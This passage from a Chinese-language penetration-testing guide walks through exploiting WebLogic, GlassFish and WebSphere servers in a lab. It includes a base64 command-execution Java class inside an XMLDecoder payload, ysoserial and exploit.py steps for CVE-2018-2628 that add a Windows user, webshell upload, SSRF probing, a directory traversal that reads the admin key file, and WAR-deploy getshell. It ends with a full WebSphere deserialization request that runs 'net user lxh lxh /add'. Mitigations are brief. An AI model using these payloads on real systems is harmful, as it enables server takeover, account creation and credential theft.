AKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq\";"
+ "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"
+ "byte[] bt = decoder.decodeBuffer(R);"
+ "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"
+ "Class cl = cls.defineClass(\"ResultBaseExec\",bt);"
+ "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});"
+ "Object object = m.invoke(cl.newInstance(),new Object[]{ua});"
+ "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();\n"
+ "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n"
+ "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n"
+ "outputStream.flush();\n"
+ "response.getWriter().write(\"\");"
+ "");
轉換成XMl格式,參考lufei給出的,稍微改一下。
<class><string>org.slf4j.ext.EventData</string>
<void>
<string>
<java>
<void class="sun.misc.BASE64Decoder">
<void method="decodeBuffer" id="byte_arr"> <string>yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq</string>
</void>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>ResultBaseExec</string>
<object idref="byte_arr"></object>
<void method="newInstance">
<void method="exec" id="result">
<string>whoami</string>
</void>
</void>
</void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork" id="current_work">
<void method="getClass">
<void method="getDeclaredField">
<string>connectionHandler</string>
<void method="setAccessible"><boolean>true</boolean></void>
<void method="get">
<object idref="current_work"></object>
<void method="getServletRequest">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</void>
</void>
</void>
</void>
</java>
</string>
</void>
</class>
執行:
Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
Weblogic Server WLS Core Components反序列化命令執行漏洞(CVE-2018-2628),該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令。
使用exploit.py腳本進行復現,具體使用方法見腳本。
Kail Attack :192.168.31.232
Win03 victim : 192.168.124.130
Kail 執行
1)下載ysoserial.jarwget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
2)使用ysoserial.jar,啟動JRMP Serverjava -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]是想執行的命令,而[listen port]是JRMP Server監聽的端口。這里我執行java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'
3)執行exploit.pypython2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目標weblogic的IP和端口,[path to ysoserial]是本地(Kail系統上的)ysoserial的路徑,[JRMPListener ip]和[JRMPListener port]第一步中啟動JRMP Server的IP地址和端口。[JRMPClient]是執行JRMPClient的類,可選的值是JRMPClient或JRMPClient2
這里我執行python2 exploit.py 192.168.124.130 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.31.232 1099 JRMPClient2
結果如下:
修復建議
1、過濾t3協議。
在域結構中點擊 安全->篩選器
連接篩選器填: weblogic.security.net.ConnectionFilterImpl 保存后重啟Weblogic.
kail再次攻擊,Exp將報錯。
連接篩選器規則可參考官方文檔
2、安裝補丁,但是保不准下一次Weblogic縫縫補補的黑名單又被繞過。
Weblogic 任意文件上傳漏洞(CVE-2018-2894)
Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在”生產模式”下默認不開啟,所以該漏洞有一定限制。
影響版本:12.1.3.0, 12.2.1.2, 12.2.1.3
下載Weblogic 12.1.3.0
安裝的時候將Weblogic放在Java JDK的bin目錄下,防止出現因環境變量帶空格導致的錯誤,安裝過程一直點擊下一步即可。
以下復現是在Weblogic開發模式下進行的,若需在生產模式下進行復現,則需要 登錄后台頁面,點擊base_domain的配置,在”高級”設置中 開啟 “啟用 Web 服務測試頁” 選項,經過我的驗證發現開啟之后,不僅需要賬號密碼登陸,即使登陸了也沒有這兩處上傳點。
訪問 ws_utc/config.do,設置Work Home Dir為ws_utc應用的靜態文件css目錄C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css
,因為訪問這個目錄是無需權限的,提交后,點擊左側 安全-> 添加,然后上傳Webshell。
點擊提交並抓包,獲取響應數據包中的時間戳。
然后訪問 http://127.0.0.1:7001/ws_utc/css/config/keystore/[時間戳]_[文件名],即可執行webshell:
訪問 ws_utc/begin.do,點擊右上角的文件夾,上傳Webshell,點擊提交,並抓包。
在返回數據包中得到Webshell路徑。
然后訪問
http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.jsp
Note:
1)ws_utc/begin.do 使用的工作目錄是在ws_utc/config.do中設置的Work Home Dir。
2)利用需要知道部署應用的web目錄。
3)在生產模式下默認不開啟,在后台開啟之后,需要認證
修復建議
啟動生產模式,
編輯domain路徑下的setDomainEnv.cmd文件,將set PRODUCTION_MODE= 更改為 set PRODUCTION_MODE=true
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd
目前(2019/06/07) 生產模式下 已取消這兩處上傳文件的地方。
Weblogic SSRF漏洞 (CVE-2014-4210)
影響版本:10.0.2.0, 10.3.6.0
訪問 /uddiexplorer/SearchPublicRegistries.jsp,若能正常訪問,則可能存在此漏洞,填寫任意信息,如下
點擊Search,並抓包,抓包之后在Burp中右鍵,選擇Change request method, 將POST請求改變成GET。
參數operator為SSRF的可控參數,將其更改為開放的端口,如http://127.0.0.1:7001/,將返回error code
若開放端口為HTTP協議,則會返回did not have a valid SOAP content-type。
訪問不存在的端口,將返回could not connect over HTTP to server
通過 返回數據包 中的錯誤信息,即可探測內網狀態。
修復建議
刪除SearchPublicRegistries.jsp文件或修改SearchPublicRegistries.jsp文件后綴為不解析后綴,如SearchPublicRegistries.jspxxx,后重啟Weblogic,再次訪問,如下:
SearchPublicRegistries.jsp路徑為:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war
Weblogic 弱口令 && 后台getshell
弱口令參考:https://cirt.net/passwords?criteria=WebLogic
訪問http://127.0.0.1:7001/console
自動重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp
,使用弱口令登陸后台。
點擊部署,進一步點擊右邊的安裝。
點擊上載文件,
選擇war包,點擊下一步
上傳完成以后選中你上傳的文件,點擊下一步
選中作為應用程序安裝,點擊下一步
然后直接點擊完成即可
選用我們安裝的應用,點擊啟動即可。
訪問:http://ip:port/[war包名]/[包名內文件名]
修復建議
避免后台弱口令。
7、GlassFish
GlassFish 是用於構建 Java EE 5應用服務器的開源開發項目的名稱。它基於 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代碼以及 Oracle 貢獻的 TopLink 持久性代碼。該項目提供了開發高質量應用服務器的結構化過程,以前所未有的速度提供新的功能。
默認端口:8080(Web應用端口,即網站內容),4848(GlassFish管理中心)
默認返回的指紋信息:
Server: GlassFish Server Open Source Edition 4.1.2
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)
下載4.1.2版本
解壓后,進入glassfish/bin目錄下打開CMD窗口輸入asadmin start-domain啟動glassfish
asadmin stop-domain 停止glassfish
GlassFish Directory Traversal(CVE-2017-1000028)
java語言中會把%c0%af解析為\uC0AF,最后轉義為ASCCII字符的/(斜杠)。利用..%c0%af..%c0%af來向上跳轉,達到目錄穿越、任意文件讀取的效果。
計算機指定了UTF8編碼接收二進制並進行轉義,當發現字節以0開頭,表示這是一個標准ASCII字符,直接轉義,當發現110開頭,則取2個字節 去掉110模板后轉義。
UTF8編碼模板如下
C0AF 轉換位二進制為 110 00000 10 101111 ,110開頭去掉摸板后為00000 101111 轉換為10進制為47,ASSCI為/.
受影響版本:<=4.1.2版本
啟動GlassFish后 ,訪問http://your-ip:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
, 發現成功讀取win.ini文件。
Note:如果在你的機器上不能成功讀取,請自行添加..%c0%af
讀admin-keyfile文件,該文件是儲存admin賬號密碼的文件,爆破。
位置在glassfish/domains/domain1/config/admin-keyfile
修復建議:升級GlassFish最新版本。
GlassFish 后台Getshell
進入后台后 Applications,右邊的deploy
選中war包后上傳,填寫Context Root 這個關系到你訪問的url,點擊Ok。
訪問http://127.0.0.1:8080/[Context Root]/[war包內的filename]
Note: 如果管理員不設置帳號本地會自動登錄,但是遠程訪問會提示配置錯誤。Configuration Error Secure Admin must be enabled to access the DAS remotely
修復建議
1.不開放后台給外網,
2.若開放 密碼強度需設置 包含 大寫字母,小寫字母,數字,特殊字符,且長度大於10位。
8、WebSphere
WebSphere® Application Server 加速交付新應用程序和服務,它可以通過快速交付創新的應用程序來幫助企業提供豐富的用戶體驗。從基於開放標准的豐富的編程模型中進行選擇,以便更好地協調項目需求與編程模型功能和開發人員技能。
下載安裝7.0 WebSphere
指紋:
Server: WebSphere Application Server/7.0
登錄頁面:
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp
Java反序列化(CVE-2015-7450)
訪問8880端口,出現如下界面,則可能存在Java反序列化漏洞
訪問8880,並抓包,然后替換如下Payload進行復現,注意更改下Host.
POST / HTTP/1.1
Host: 192.168.31.12:8880
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
SOAPAction: urn:AdminService
Content-Length: 8886
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
<params xsi:type="ns1:[Ljava.lang.Object;">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAFW5ldCB1c2VyIGx4aCBseGggL2FkZHQABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGF